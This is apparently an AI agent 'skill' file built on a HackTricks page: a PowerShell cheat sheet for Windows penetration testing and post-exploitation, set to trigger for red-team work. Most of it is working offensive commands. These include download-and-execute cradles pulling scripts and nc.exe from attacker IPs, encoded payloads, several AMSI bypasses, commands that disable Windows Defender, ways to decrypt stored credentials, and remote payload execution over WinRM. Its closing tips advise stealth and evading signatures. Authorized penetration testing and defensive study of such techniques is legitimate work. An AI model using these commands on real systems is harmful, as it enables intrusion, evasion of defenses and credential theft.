Hacktricks-skills powershell-pentesting

Windows PowerShell commands and techniques for penetration testing, reconnaissance, and post-exploitation. Use this skill whenever the user needs to perform Windows system enumeration, execute remote payloads, bypass AMSI/Defender, enumerate users/groups, check network configurations, handle credentials, or any other Windows pentesting task involving PowerShell. Trigger for any Windows security assessment, red team operation, or post-exploitation scenario.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/windows-hardening/basic-powershell-for-pentesters/basic-powershell-for-pentesters/SKILL.MD
source content

PowerShell Pentesting Reference

A comprehensive guide to PowerShell commands and techniques for Windows penetration testing and post-exploitation.

Quick Start

PowerShell Locations

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

Basic Help Commands

Get-Help *                    # List everything loaded
Get-Help process              # List everything containing "process"
Get-Help Get-Item -Full       # Get full help about a topic
Get-Help Get-Item -Examples   # List examples
Import-Module <modulepath>
Get-Command -Module <modulename>

Download & Execute Payloads

From CMD

echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile -

With Execution Policy Bypass

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"

From PowerShell v3+

iex (iwr '10.10.14.9:8000/ipw.ps1')

Using XMLHTTP (bypasses some restrictions)

$h=New-Object -ComObject Msxml2.XMLHTTP
$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false)
$h.send()
iex $h.responseText

Using WebRequest

$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

DNS TXT Record Payload

powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]

Download Files

WebClient

(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")

Invoke-WebRequest

Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"

Wget (PowerShell 6+)

wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

BitsTransfer

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR asynchronous
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Base64 Encoding (Linux to Windows)

Encode payload on Kali/Linux

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0

Execute on Windows

powershell -EncodedCommand <Base64>

AMSI Bypass

AMSI (Antimalware Scan Interface) is loaded into your process memory. The goal is to overwrite instructions in memory to make detection useless.

Method 1: Basic Bypass

[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

Method 2: String Obfuscation

$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).substring(($_*2),2))})-replace " ").GetField([string](38..51|%{[char][int](29+($A+$B).substring(($_*2),2))})-replace " ",'NonPublic,Static').SetValue($null,$true)

Method 3: Base64 Obfuscation

[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)

Method 4: Variable Splitting

$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)

AMSI Bypass Resources


Disable Windows Defender

Check Status

Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl

Disable Real-time Monitoring

Set-MpPreference -DisableRealtimeMonitoring $true

Completely Disable Defender

New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force

Set Exclusions

Set-MpPreference -ExclusionPath (pwd) -DisableRealtimeMonitoring
Add-MpPreference -ExclusionPath (pwd)

Check GPO Exclusions

Parse-PolFile .\Registry.pol

System Reconnaissance

OS Version and Patches

[System.Environment]::OSVersion.Version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid}
Get-Hotfix -description "Security update"

Environment Variables

Get-ChildItem Env: | ft Key,Value -AutoSize
$env:UserName

Connected Drives

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"} | ft Name,Root

Recycle Bin

$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()

Recent Files

# By LastAccessTime
(gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName

# By LastWriteTime
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName

Permissions

Get-Acl -Path "C:\Program Files\Vuln Services" | fl

PowerShell History

Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

User and Group Enumeration

Local Users

Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name

Groups

Get-LocalGroup | ft Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Clipboard

Get-Clipboard

Credential Handling

Secure String to Plaintext

$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl

From XML File

$cred = Import-CliXml -Path cred.xml
$cred.GetNetworkCredential() | Format-List *

From Password File

$pw = gc admin-pass.xml | convertto-securestring
$cred = new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl *

Remote Execution (Sudo/WinRM)

Create Credential Object

$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)

Local Elevated Execution

Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"

WinRM Remote Execution

# Test credentials
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred

# Download file
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred

# Run as admin
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'

Enable WinRM

enable-psremoting -force

# Set network to Private (required for WinRM)
Get-NetConnectionProfile | Where{ $_.NetworkCategory -ne 'Private'} | ForEach {
    $_ | Set-NetConnectionProfile -NetworkCategory Private -Confirm
}

Network Reconnaissance

Port Scanning

# Single port
Test-NetConnection -Port 80 10.10.10.10

# Multiple ports on single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null

# Port range
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null

# Multiple IPs and ports
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}

Network Interfaces

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Firewall Rules

Get-NetFirewallRule -Enabled True

# Outbound blocked
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block

# Outbound allowed
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow

# Inbound blocked
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block

# Inbound allowed
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow

# Create new rule (e.g., allow SSH)
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow

Routing and ARP

route print
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

Hosts File

Get-Content C:\WINDOWS\System32\drivers\etc\hosts

Ping Sweep

$ping = New-Object System.Net.NetworkInformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }

SNMP Configuration

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Process and Service Enumeration

Processes

Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Services

Get-Service

Scheduled Tasks

Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

SDDL to Readable Format

ConvertFrom-SddlString "<SDDL_STRING>"

Best Practices

  1. Use -NoProfile to avoid loading user profiles that might trigger logging
  2. Use -WindowStyle Hidden for stealthy execution
  3. Combine AMSI bypass with execution policy bypass for maximum compatibility
  4. Test commands in a safe environment before using in assessments
  5. Document all changes made to the target system
  6. Use encoded commands to avoid basic signature detection
  7. Consider network restrictions when downloading payloads

Additional Resources